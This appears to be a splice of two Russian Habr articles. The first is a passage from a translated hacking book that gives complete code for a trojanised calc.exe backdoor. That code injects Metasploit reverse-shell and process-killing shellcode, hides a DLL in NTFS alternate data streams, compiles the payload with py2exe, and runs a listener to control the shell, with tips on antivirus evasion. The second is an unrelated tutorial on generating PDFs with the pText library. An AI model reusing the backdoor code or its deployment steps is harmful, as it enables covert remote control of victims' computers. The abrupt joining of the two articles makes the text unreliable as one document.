print "[\*] Remote thread created with a thread ID of: 0x%08x" % thread\_id.value
print "[\*] Process %s should not be running anymore!" % pid\_to\_kill
```
Часть кода вам уже знакома, но тут есть несколько интересных приемов. Первое, что нужно сделать, это заменить строку маркера (\x41\x41\x41\x41\x00) в шелл-коде **(#1)** на PID процесса, который нужно завершить. Другое заметное различие состоит в том, каким образом мы совершаем вызов функции CreateRemoteThread() **(#2)**. Теперь ее параметр lpStartAddress указывает на начало шелл-кода. Также мы установили lpParameter в NULL, потому что нам не нужно ничего передавать в функцию, вместо этого мы просто хотим, чтобы поток начал выполнять шелл-код.
Перед тем как выполнять скрипт, запустите несколько процессов *cmd.exe*, затем получите соответствующие им PID’ы и уже только после этого выполняйте скрипт как показано ниже:
```
./code_injector.py
```
Выполнив скрипт, с соответствующими аргументами командной строки, вы увидите успешно созданный поток (скрипт вернет ID потока). Вы также должны заметить, что выбранный вами процесс *cmd.exe* был убит.
Теперь вы знаете, как загрузить и выполнить шелл-код в другом процессе. Это удобно не только при установке функций обратного вызова с помощью шелл-кода, но также и при скрытии ваших следов, поскольку у вас не будет никакого кода на диске. Теперь мы используем часть выученной информации и создадим бэкдор, который даст вам удаленный доступ к атакуемой машине в любой момент времени, когда он будет выполняться на ней. Давайте перейдем на сторону зла!
#### **7.2 На стороне зла**
Используем приобретенные нами навыки для злых умыслов. Сейчас мы создадим, маленький бэкдор, который может быть использован для получения контроля над системой в любое время своего выполнения на ней. Когда наш экзешник начнет свое выполнение, мы запустим оригинальную программу, которую пользователь хотел запустить (например, мы назовем наш бинарник *calc.exe*, а оригинальный *calc.exe* и перенесем его в известное нам место). Когда будет загружаться второй процесс (оригинальный *calc.exe*), мы внедрим в него код, который свяжет нас с удаленной машиной. После того, как выполнится шелл-код и у нас будет [шелл](http://ru.und3rgr0und.org/wiki/%D0%A8%D0%B5%D0%BB%D0%BB) (связь с удаленной машиной), мы внедрим второй кусок кода в процесс, из которого проводилась атака, что убить его.
Секунду! Не могли бы мы просто дать нашему *calc.exe* завершиться? Если коротко, то да. Но завершение процесса является ключевой техникой поддерживаемой бэкдором. Например, вы могли бы объединить ваши знания с кодом, который вы изучили в более ранних главах, и попытаться найти работающие анти-вирусы или фаерволы, чтобы просто убить их. Важно также уметь перемещаться из одного процесса в другой и при этом иметь возможность убить процесс из которого вы только что переместились, если он, конечно же, вам больше не нужен.
В этой части также будет показано, как скомпилировать Питоновский скрипт в EXE, и как спрятать DLL в основном исполнимом файле. Давайте посмотрим, как применив небольшую хитрость можно создать DLL, которая проедет зайцем вместе с нашим EXE-файлом.
***7.2.1 Скрытие файла***
Для того, чтобы безопасно распространять внедряемую DLL с нашим бэкдором и не привлекать лишнего внимания, нужен скрытый способ хранения файла. Мы могли бы использовать wrapper (прим. пер. имеется ввиду joiner), который берет два исполняемых файла (включая DLL) и соединяет их вместе в один файл, но так как эта книга о хакерском использовании Python, то мы должны проявить немного больше креативности.
Для скрытия файлов внутри исполнимых файлов, злоупотребим существующей фичей в файловой системе NTFS, названной «альтернативные потоки данных» (Alternate Data Streams, ADS). Альтернативные потоки данных впервые появились в Windows NT 3.1 и были представлены как средство для взаимодействия с иерархической файловой системой Apple (Hierarchical File System, HFS). ADS позволяет нам иметь на диске один файл и хранить DLL-библиотеку в потоке, который присоединен к основному исполнимому файлу. Поток в действительности является ничем иным как скрытым файлом, который присоединен к файлу, который вы можете видеть на диске.
При использовании альтернативного потока данных, мы прячем DLL от прямого взгляда пользователя. Без специальных инструментов, пользователь компьютера не сможет увидеть содержание ADS, что идеально подходит для нас. Кроме того, ряд продуктов безопасности не сканируют альтернативные потоки должным образом, так что у нас есть хорошие шансы обойти их рады и избежать обнаружения.
Чтобы использовать альтернативный поток, нам нужно будет добавить двоеточие и имя файла скрываемого объекта, к существующему файлу, как показано ниже:
```
reverser.exe:vncdll.dll
```
В этом случае мы получаем *vncdll.dll*, которая хранится в альтернативном потоке данных, который прикреплен к файлу *reverser.exe*. Давайте напишем небольшой скрипт, который будет просто читать и писать из файла альтернативные потоки. Откройте новый файл Python, назовите его *file\_hider.py* и введите следующий код.
**file\_hider.py**
```
import sys
# Read in the DLL
fd = open( sys.argv[1], "rb" )
dll_contents = fd.read()
fd.close()
print "[*] Filesize: %d" % len( dll_contents )
# Now write it out to the ADS
fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1] ), "wb" )
fd.write( dll_contents )
fd.close()
```
Ничего особенного – первым аргумент командной строки является DLL, которую нам нужно прочитать, а вторым аргументом является файл, в альтернативный поток которого и будет записана DLL. Мы можем использовать этот простой скрипт, чтобы хранить любые виды файлов внутри исполняемого файла, так же мы можем внедрять DLL-библиотеки прямо из ADS. Хотя мы не будем использовать внедрение DLL в нашем бэкдоре, оно все равно будет поддерживаться им, так что читайте дальше.
***7.2.2 Кодим Backdoor***
Давайте начнем с создания нашего «выполняющего перенаправление кода» (execution redirection code), который просто запускает выбранное нами приложение. Причина названия кода «выполняющий перенаправление» (execution redirection) состоит в том, что мы назовем наш бэкдор calc.exe, а оригинальный calc.exe переместим в другое место. Когда пользователь попытается запустить калькулятор, он ненароком запустит наш бэкдор, который в свою очередь запустит настоящий калькулятор и таким образом не вызовет у пользователя подозрений. Обратите внимание, что мы подключаем файл *my\_debugger\_defines.py* из **[Главы 3](http://forum.reverse4you.org/showthread.php?t=1197)**, который содержит все необходимые константы и структуры для создания процесса. Откройте новый файл Python, назовите его *backdoor.py* и введите следующий код:
**backdoor.py**
```
# This library is from Chapter 3 and contains all
# the necessary defines for process creation
# Это библиотека из Главы 3. Она содержит все
# необходимые определения для создания процесса
import sys
from ctypes import *
from my_debugger_defines import *
kernel32 = windll.kernel32
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
# This is the original executable
path_to_exe = "C:\\calc.exe"
startupinfo = STARTUPINFO()
process_information = PROCESS_INFORMATION()
creation_flags = CREATE_NEW_CONSOLE
startupinfo.dwFlags = 0x1
startupinfo.wShowWindow = 0x0
startupinfo.cb = sizeof(startupinfo)
# First things first, fire up that second process
# and store its PID so that we can do our injection
kernel32.CreateProcessA(path_to_exe,
None,
None,
None,
None,
creation_flags,
None,
None,
byref(startupinfo),
byref(process_information))
pid = process_information.dwProcessId
```
Код не слишком сложный, в нем для вас нет ничего нового. Прежде чем перейти к внедрению кода – рассмотрим, как мы можем скрыть этот самый внедряемый код. Давайте добавим его прямо в код бэкдора; просто присоединим код прямо после секции создания процесса. Наша функция внедрения сможет работать как с внедряемым кодом, так и с внедряемой DLL; просто установите «parameter» в «1», а в переменную «data» поместите путь к DLL. Здесь мы не следуем чистоте, а действуем быстро и грязно. Давайте добавим функцию внедрения в наш файл *backdoor.py*.
**backdoor.py**
```
...
def inject( pid, data, parameter = 0 ):
# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)
arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, data, len(data), byref(written))
thread_id = c_ulong(0)
if not parameter:
start_address = arg_address
else:
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
start_address = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")
parameter = arg_address
if not kernel32.CreateRemoteThread(h_process,None, 0,start_address,parameter,0,byref(thread_id)):
print "[*] Failed to inject the DLL. Exiting."
sys.exit(0)
return True
```
Теперь нашим бэкдором поддерживается функция внедрения, которая может обрабатывать и «внедрение кода», и «внедрение DLL». Теперь пришло время для вставки шелл-кода, который состоит из двух частей. Одна часть предназначена для предоставления «шелла» (оболочка для связи с атакующим), а другая для завершения процессов. Давайте продолжим добавлять код в наш бэкдор.
**backdoor.py**
```
...
# Now we have to climb out of the process we are in
# and code inject our new process to kill ourselves
#/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444 Size=287 Encoder=None http://metasploit.com */
connect_back_shellcode =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" \
"\xc0\xa8\xf4\x01\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9" \
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" \
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" \
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" \
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" \
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" \
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" \
"\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0"
inject( pid, connect_back_shellcode )
#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */
our_pid = str( kernel32.GetCurrentProcessId() )
process_killer_shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"
padding = 4 - ( len( our_pid ) )
replace_value = our_pid + ( "\x00" * padding )
replace_string= "\x41" * 4
process_killer_shellcode =
process_killer_shellcode.replace( replace_string, replace_value )
# Pop the process killing shellcode in
inject( our_pid, process_killer_shellcode )
```
Хорошо! Передаем идентификатор процесса (PID) в бэкдор и внедряем шелл-код в процесс, который мы породили *(calc.exe)*. Затем убиваем бэкдор. Теперь у нас есть довольно неплохой бэкдор, который использует некоторые хитрости, но что самое главное, мы получаем доступ к атакуемой машине, каждый раз, когда кто-то запускает Калькулятор. Этот подход вы можете использовать в боевых условиях, если у вас есть скомпрометированная система, а пользователь этой системы имеет доступ к защищенному паролем или интересующему вас приложению. В этом случае вы можете подменить файлы и вклиниваться в результат работы такого приложения непосредственно в момент его запуска. Каждый раз, когда пользователь запускает подмененное приложение и в ходит в систему, вы получаете шелл (оболочку), с помощью которой вы можете начать мониторинг нажатий клавиш, перехватывать сетевые пакеты и т.п. Нам осталось решить одну маленькую вещь: Как мы собираемся гарантировать, что у пользователя, против которого мы собираемся провести атаку, установлен Python, который нужен для запуска нашего скрипта? Читайте дальше и вы узнаете о такой замечательной Питоновской библиотеке, как *py2exe*, которая позволяет превратить ваш скрипт на Питоне в настоящий исполнимый файл Windows, т.е. exe-файл.
***7.2.3 Использование py2exe***
Библиотека *py2exe* **[2]**, позволяет скомпилировать скрипт на Python в полноценный исполнимый файл Windows. Перед ее использованием нужно составить специальный установочный скрипт, в котором определить, что мы хотим скомпилировать. Для компиляции бэкдора мы создадим довольно простой скрипт. Откройте новый файл, назовите его *setup.py* и введите следующий код.
**setup.py**
```
# Backdoor builder
from distutils.core import setup
import py2exe
setup(console=['backdoor.py'],
options = {'py2exe':{'bundle_files':1}},
zipfile = None,
)
```
Да, он настолько прост. Давайте рассмотрим параметры, которые были переданы функции установки. Первый параметр «console» – это имя основного сценария, подлежащего компиляции. Параметры «options» и «zipfile» устанавливаются для объединения Python DLL и всех других зависимых модулей в основной исполняемый файл. Это делает наш бэкдор мобильным, в том смысле, что позволяет перенести его на систему, где нет Питона, и он будет работать. Перед компиляцией проверьте, что файлы *my\_debugger\_defines.py*, *backdoor.py* и *setup.py* находятся в одной и той же директории. Затем перейдите в командную строку и выполните установочный скрипт, как показано ниже:
```
python setup.py py2exe
```
После чего вы увидите вывод от процесса компиляции, после окончания которого у вас будет иметься две директории *dist* и *build*. В нутрии папки *dist* вас будет ожидать *backdoor.exe*. Переименуйте его в *calc.exe* и скопируйте в целевую систему для тестов. Затем скопируйте оригинальный *calc.exe* из «C:\WINDOWS\system32\» и положите его в корень диска «C:\». После чего переместите бэкдор *calc.exe* в «C:\WINDOWS\system32\». Теперь все что нам нужно, чтобы работать с шеллом, на удаленной системе, это написать простой скрипт для получения и отправки ему команд. Откройте новый файл Python, назовите его *backdoor\_shell.py* и введите следующий код.
**backdoor\_shell.py**
```
import socket
import sys
host = "192.168.244.1"
port = 4444
server = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
server.bind( ( host, port ) )
server.listen( 5 )
print "[*] Server bound to %s:%d" % ( host , port )
connected = False
while 1:
#accept connections from outside
if not connected:
(client, address) = server.accept()
connected = True
print "[*] Accepted Shell Connection"
buffer = ""
while 1:
try:
recv_buffer = client.recv(4096)
print "[*] Received: %s" % recv_buffer
if not len(recv_buffer):
break
else:
buffer += recv_buffer
except:
break
# We've received everything, now it's time to send some input
command = raw_input("Enter Command> ")
client.sendall( command + "\r\n\r\n" )
print "[*] Sent => %s" % command
```
Это очень простой сокет-сервер, который просто ожидает соединения и осуществляет чтение/запись в сокет. Запустите сервер, с набором переменных host и port для вашей среды. Затем запустите *calc.exe* на удаленной системе (на локальном компьютере будет работать так же). После чего вы должны увидеть окно Калькулятора, а ваш сокет-сервер должен зарегистрировать соединение и получить некоторые данные. Для того, чтобы прервать цикл получения данных от удаленной системы нажмите CTRL-C, это позволит вам ввести команду. Не стесняйтесь проявлять креативность, здесь вы можете попробовать такие команды как dir, cd или type, все из которых являются родными командами шелл-оболочки Windows. После ввода каждой команды, вы будете получать результат ее работы. Теперь у вас есть эффективное и немного не заметное средство взаимодействия с бэкдором. Используйте ваше воображении для расширения функциональности; думайте хитро и обходите антивирусы. Плюсами в разработке подобных вещей на Python являются скорость, легкость и многоразовое использование.
Как было видно в этой главе, внедрение кода и DLL-библиотек это две очень полезных и мощных техники. Теперь вы вооружены новым навыком, который пригодится во время пентеста или реверсинга. В следующей главе мы сфокусируемся на использовании фаззеров основанных на Питоне. Будут рассмотрены как собственные, так некоторые open source инструменты.
**Ссылки**
**[1]** See MSDN CreateRemoteThread Function (http://msdn.microsoft.com/en-us/library/ms682437.aspx)
**[2]** For the py2exe download, go to (http://sourceforge.net/project/showfiles.php?group\_id=15583)
**[Источник](http://nostarch.com/ghpython.htm)** | https://habr.com/ru/post/151621/ | null | ru | null |
# Создание PDF-документа на Python с помощью pText
Один из самых гибких и привычных способов сгенерировать pdf — написать код на LaTeX и воспользоваться соответствующей программой. Но есть и другие способы, которые могут оказаться проще и понятнее, чем LaTeX. Специально к старту курса [Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=190521) представляем перевод статьи о том, как для генерации PDF можно воспользоваться библиотекой pText; эта статья написана Йорисом Схеллекенсом — разработчиком pText.
---
В этом руководстве мы будем использовать [pText](https://github.com/jorisschellekens/ptext-release) — библиотеку Python, предназначенную для чтения, обработки и создания PDF-документов. Он предлагает как низкоуровневую (позволяющую получить доступ к точным координатам и макету, если вы решите их использовать), так и высокоуровневую модель (где вы можете делегировать точные расчёты полей, позиций и т. д.). Мы рассмотрим, как создавать и проверять PDF-документ в Python, используя pText, а также как использовать некоторые LayoutElement [элементы макета] для добавления штрих-кодов и таблиц.
Portable Document Format (PDF) не является форматом WYSIWYG («что видишь, то и получаешь»). Он был разработан как платформенно-независимый, не зависящий от базовой операционной системы и механизмов рендеринга.
Чтобы добиться этого, PDF был создан взаимодействовать с помощью чего-то, больше похожего на язык программирования, и полагается на серию инструкций и операций для достижения результата. Фактически PDF основан на языке сценариев — [PostScript](https://www.adobe.com/products/postscript.html), который был первым независимым от устройства языком описания страниц. В нём есть операторы, которые изменяют графические состояния, на высоком уровне они выглядят примерно так:
* Установить шрифт Helvetica.
* Установить чёрный цвет обводки.
* Перейти к (60,700).
* Нарисовать глиф "H".
Это объясняет несколько вещей:
* Почему так сложно точно извлечь текст из PDF.
* Почему сложно редактировать PDF-документ.
* Почему большинство библиотек PDF применяют очень низкоуровневый подход к созданию контента (вы должны указать координаты, в которых следует отображать текст, поля и т. д.).
### Установка pText
pText можно загрузить c [GitHub](https://github.com/jorisschellekens/ptext-release) или установить через pip:
```
$ pip install ptext-joris-schellekens
```
> **Примечание**. На момент написания статьи в версии 1.8.6 по умолчанию не устанавливаются внешние зависимости, такие как python-barcode и qrcode. Если появится сообщение об ошибке, установите их вручную:
>
>
```
$ pip install qrcode python-barcode requests
```
### Создание PDF-документа на Python с помощью pText
pText имеет два интуитивно понятных ключевых класса — Document и Page, которые представляют документ и страницы в нём. Это основная структура для создания PDF-документов. Кроме того, класс PDF представляет собой API для загрузки и сохранения создаваемых нами документов. Имея это в виду, давайте создадим пустой файл PDF:
```
from ptext.pdf.document import Document
from ptext.pdf.page.page import Page
from ptext.pdf.pdf import PDF
# Create an empty Document
document = Document()
# Create an empty page
page = Page()
# Add the Page to the Document
document.append_page(page)
# Write the Document to a file
with open("output.pdf", "wb") as pdf_file_handle:
PDF.dumps(pdf_file_handle, document)
```
Большая часть кода здесь говорит сама за себя. Мы начинаем с создания пустого документа, затем добавляем пустую страницу в документ с помощью функции append() и, наконец, сохраняем файл с помощью PDF.dumps().
Стоит отметить, что мы использовали флаг "wb" для записи в двоичном режиме, поскольку мы не хотим, чтобы Python кодировал этот текст. Это даёт нам пустой PDF-файл с названием output.pdf в вашей файловой системе:
### Создание документа «Hello World» с помощью pText
Конечно, пустые PDF-документы не содержат много информации. Давайте добавим контент на страницу, прежде чем добавлять его в экземпляр документа.
Подобно двум классам, описанным ранее, чтобы добавить контент на страницу, мы добавим PageLayout, указывающий на тип макета, который мы хотели бы видеть, и добавим один или несколько абзацев в этот макет.
С этой целью Document является экземпляром самого низкого уровня в иерархии объектов, а Paragraph — экземпляром самого высокого уровня, размещённым поверх PageLayout и, следовательно, страницы. Давайте добавим абзац на нашу страницу:
```
from ptext.pdf.document import Document
from ptext.pdf.page.page import Page
from ptext.pdf.pdf import PDF
from ptext.pdf.canvas.layout.paragraph import Paragraph
from ptext.pdf.canvas.layout.page_layout import SingleColumnLayout
from ptext.io.read.types import Decimal
document = Document()
page = Page()
# Setting a layout manager on the Page
layout = SingleColumnLayout(page)
# Adding a Paragraph to the Page
layout.add(Paragraph("Hello World", font_size=Decimal(20), font="Helvetica"))
document.append_page(page)
with open("output.pdf", "wb") as pdf_file_handle:
PDF.dumps(pdf_file_handle, document)
```
Вы заметите, что мы добавили 2 дополнительных объекта:
* Экземпляр PageLayout, более конкретный через его подкласс SingleColumnLayout: этот класс отслеживает, где контент добавляется на страницу, какие области доступны для будущего контента, каковы поля страницы и какие ведущие (пространство между объектами Paragraph) должно быть.
Поскольку здесь мы работаем только с одним столбцом, мы используем SingleColumnLayout. В качестве альтернативы мы можем использовать MultiColumnLayout.
* Экземпляр Paragraph: этот класс представляет блок текста. Вы можете установить такие свойства, как шрифт, font\_size, font\_color, и многие другие. Дополнительные примеры вы можете найти в документации.
Код генерирует файл output.pdf, содержащий наш абзац:
### Проверка созданного PDF с помощью pText.
> **Примечание**: этот раздел является необязательным, если вас не интересует внутренняя работа PDF-документа.
>
>
Но может быть очень полезно немного узнать о формате (например, при отладке классической проблемы «почему мой контент теперь отображается на этой странице»). Обычно программа для чтения PDF читает документ, начиная с последних байтов:
```
xref
0 11
0000000000 00000 f
0000000015 00000 n
0000002169 00000 n
0000000048 00000 n
0000000105 00000 n
0000000258 00000 n
0000000413 00000 n
0000000445 00000 n
0000000475 00000 n
0000000653 00000 n
0000001938 00000 n
trailer
<<61e6d144af4b84e0e0aa52deab87cfe9>]>>
startxref
2274
%%EOF
```
Здесь мы видим маркер конца файла (%% EOF) и таблицу перекрестных ссылок (обычно сокращённо xref).
> Внешняя ссылка ограничена токенами «startxref» и «xref».
>
>
Внешняя ссылка (в документе может быть несколько) действует как справочная таблица для программы чтения PDF-файлов.
Он содержит байтовое смещение (начиная с верхней части файла) каждого объекта в PDF. Первая строка внешней ссылки (0 11) говорит, что в этой внешней ссылке 11 объектов и что первый объект начинается с номера 0.
Каждая последующая строка состоит из байтового смещения, за которым следует так называемый номер поколения и буква f или n:
* Объекты, отмеченные буквой f, являются свободными, их рендеринг не ожидается.
* Объекты, отмеченные буквой n, «используются».
Внизу xref мы находим словарь трейлеров. Словари в синтаксисе PDF разделяются символами << и >>. В этом словаре есть следующие пары:
* /Root 1 0 R
* /Info 2 0 R
* /Size 11
* /ID [<61e6d144af4b84e0e0aa52deab87cfe9> <61e6d144af4b84e0e0aa52deab87cfe9>]
Словарь трейлеров является отправной точкой для программы чтения PDF-файлов и содержит ссылки на все другие данные. В этом случае:
* /Root: это ещё один словарь, который ссылается на фактическое содержание документа.
* /Info: это словарь, содержащий метаинформацию документа (автор, название и так далее).
Строки типа 1 0 R в синтаксисе PDF называются «ссылками». И здесь нам пригодится таблица xref. Чтобы найти объект, связанный с 1 0 R, мы смотрим на объект 1 (номер поколения 0). Таблица поиска xref сообщает нам, что мы можем ожидать найти этот объект в 15-м байте документа. Если проверить это, то обнаружим:
```
1 0 obj
<>
endobj
```
Обратите внимание, что тот объект начинается с 1 0 obj и заканчивается endobj. Это ещё одно подтверждение того, что мы на самом деле имеем дело с объектом 1. Этот словарь говорит нам, что мы можем найти страницы документа в объекте 3:
```
3 0 obj
<>
endobj
```
Это словарь /Pages, и он сообщает нам, что в этом документе одна страница (запись /Count). Запись для /Kids обычно представляет собой массив с одной ссылкой-объектом на страницу. Мы можем ожидать найти первую страницу в объекте 4:
```
4 0 obj
<>
endobj
```
Этот словарь содержит несколько интересных записей:
* /MediaBox: физические размеры страницы (в данном случае страница формата A4).
* /Contents: ссылка на (обычно сжатый) поток операторов содержимого PDF.
* /Resources: ссылка на словарь, содержащий все ресурсы (шрифты, изображения и так далее), используемые для рендеринга этой страницы.
Давайте проверим объект 5, чтобы узнать, что на самом деле отображается на этой странице:
```
5 0 obj
<>
stream
xÚãR@
\È<§`a¥£šÔw3T0É
€!K¡š3Benl7'§999ù
åùE9)
!Y(!8õÂyšT*î
endstream
endobj
```
Как упоминалось ранее, этот поток содержимого сжимается. Вы можете определить, какой метод сжатия использовался, с помощью записи /Filter. Если мы применим распаковку (unzip) к объекту 5, то мы должны получить фактические операторы содержимого:
```
5 0 obj
<>
stream
q
BT
0.000000 0.000000 0.000000 rg
/F1 1.000000 Tf
20.000000 0 0 20.000000 60.000000 738.000000 Tm
(Hello world) Tj
ET
Q
endstream
endobj
```
Наконец, мы находимся на уровне, где можем декодировать контент. Каждая строка состоит из аргументов, за которыми следует их оператор. Быстро пройдёмся по операторам:
* q: сохранить текущее графическое состояние (помещая его в стек);
* BT: начать текст;
* 0 0 0 rg: установить текущий цвет обводки на (0,0,0) rgb. Это чёрный;
* /F1 1 Tf: установить текущий шрифт на /F1 (это запись в словаре ресурсов, упомянутом ранее) и размер шрифта на 1.
* 20.000000 0 0 20.000000 60.000000 738.000000 Tm: установить текстовую матрицу, что требует отдельного руководства. Достаточно сказать, что эта матрица регулирует размер шрифта и положение текста. Здесь мы масштабируем шрифт до размера 20 и устанавливаем курсор для рисования текста на 60 738. Система координат PDF начинается в нижнем левом углу страницы. Итак, 60 738 находится где-то рядом с левым верхом страницы (с учётом того, что высота страницы составляет 842 единицы).
* (Hello world) Tj: строки в синтаксисе PDF разделяются ( и ). Эта команда указывает программе чтения PDF-файлов отобразить строку «Hello world» в позиции, которую мы указали ранее с помощью текстовой матрицы, в шрифте, размере и цвете, которые мы указали в командах перед этим.
* ET: конец текста.
* Q: извлечь состояние графики из стека (таким образом восстанавливая состояние графики).
### Добавление других элементов макета pText на страницы
pText поставляется с широким спектром объектов LayoutElement. В предыдущем примере мы кратко исследовали Paragraph. Но есть и другие элементы, такие как UnorderedList, OrderedList, Image, Shape, Barcode и Table. Давайте создадим чуть более сложный пример с таблицей и штрих-кодом. Таблицы состоят из TableCells, которые мы добавляем в экземпляр Table. Штрих-код может быть одним из многих типов штрих-кода — мы будем использовать QR-код:
```
from ptext.pdf.document import Document
from ptext.pdf.page.page import Page
from ptext.pdf.pdf import PDF
from ptext.pdf.canvas.layout.paragraph import Paragraph
from ptext.pdf.canvas.layout.page_layout import SingleColumnLayout
from ptext.io.read.types import Decimal
from ptext.pdf.canvas.layout.table import Table, TableCell
from ptext.pdf.canvas.layout.barcode import Barcode, BarcodeType
from ptext.pdf.canvas.color.color import X11Color
document = Document()
page = Page()
# Layout
layout = SingleColumnLayout(page)
# Create and add heading
layout.add(Paragraph("DefaultCorp Invoice", font="Helvetica", font_size=Decimal(20)))
# Create and add barcode
layout.add(Barcode(data="0123456789", type=BarcodeType.QR, width=Decimal(64), height=Decimal(64)))
# Create and add table
table = Table(number_of_rows=5, number_of_columns=4)
# Header row
table.add(TableCell(Paragraph("Item", font_color=X11Color("White")), background_color=X11Color("SlateGray")))
table.add(TableCell(Paragraph("Unit Price", font_color=X11Color("White")), background_color=X11Color("SlateGray")))
table.add(TableCell(Paragraph("Amount", font_color=X11Color("White")), background_color=X11Color("SlateGray")))
table.add(TableCell(Paragraph("Price", font_color=X11Color("White")), background_color=X11Color("SlateGray")))
# Data rows
for n in [("Lorem", 4.99, 1), ("Ipsum", 9.99, 2), ("Dolor", 1.99, 3), ("Sit", 1.99, 1)]:
table.add(Paragraph(n[0]))
table.add(Paragraph(str(n[1])))
table.add(Paragraph(str(n[2])))
table.add(Paragraph(str(n[1] * n[2])))
# Set padding
table.set_padding_on_all_cells(Decimal(5), Decimal(5), Decimal(5), Decimal(5))
layout.add(table)
# Append page
document.append_page(page)
# Persist PDF to file
with open("output4.pdf", "wb") as pdf_file_handle:
PDF.dumps(pdf_file_handle, document)
```
Некоторые детали реализации:
* pText поддерживает различные цветовые модели, в том числе RGBColor, HexColor, X11Color и HSVColor.
* Вы можете добавлять объекты LayoutElement непосредственно в объект Table, но вы также можете обернуть их объектом TableCell, это даёт вам некоторые дополнительные параметры, такие как col\_span и row\_span или, в данном случае, background\_color.
* Если font, font\_size или font\_color не указаны, Paragraph примет значение по умолчанию Helvetica, размер 12, чёрный.
Код сгенерирует такой документ:
### Заключение
В этом руководстве мы рассмотрели pText — библиотеку для чтения, записи и управления файлами PDF. Мы рассмотрели ключевые классы, такие как Document и Page, а также некоторые элементы, такие как Paragraph, Barcode и PageLayout. Наконец, мы создали несколько PDF-файлов с различным содержимым, а также проверили, как PDF-файлы хранят данные под капотом.
Документ PDF приятен глазу и достаточно удобен для того, чтобы использовать его в электронном документообороте, для генерации разнообразных счетов и отчётов, особенно актуальных в крупных организациях и в их внутренней сети, поэтому разработка крупных и сложных веб-проектов часто сопряжена с генерацией PDF. Если вам интересна работа со сложными веб-проектами и не хочется выбирать между бэком или фронтом, то вы можете присмотреться к курсу [Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=190521).
[Узнайте](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=190521), как прокачаться и в других специальностях или освоить их с нуля:
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=190521)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=190521)
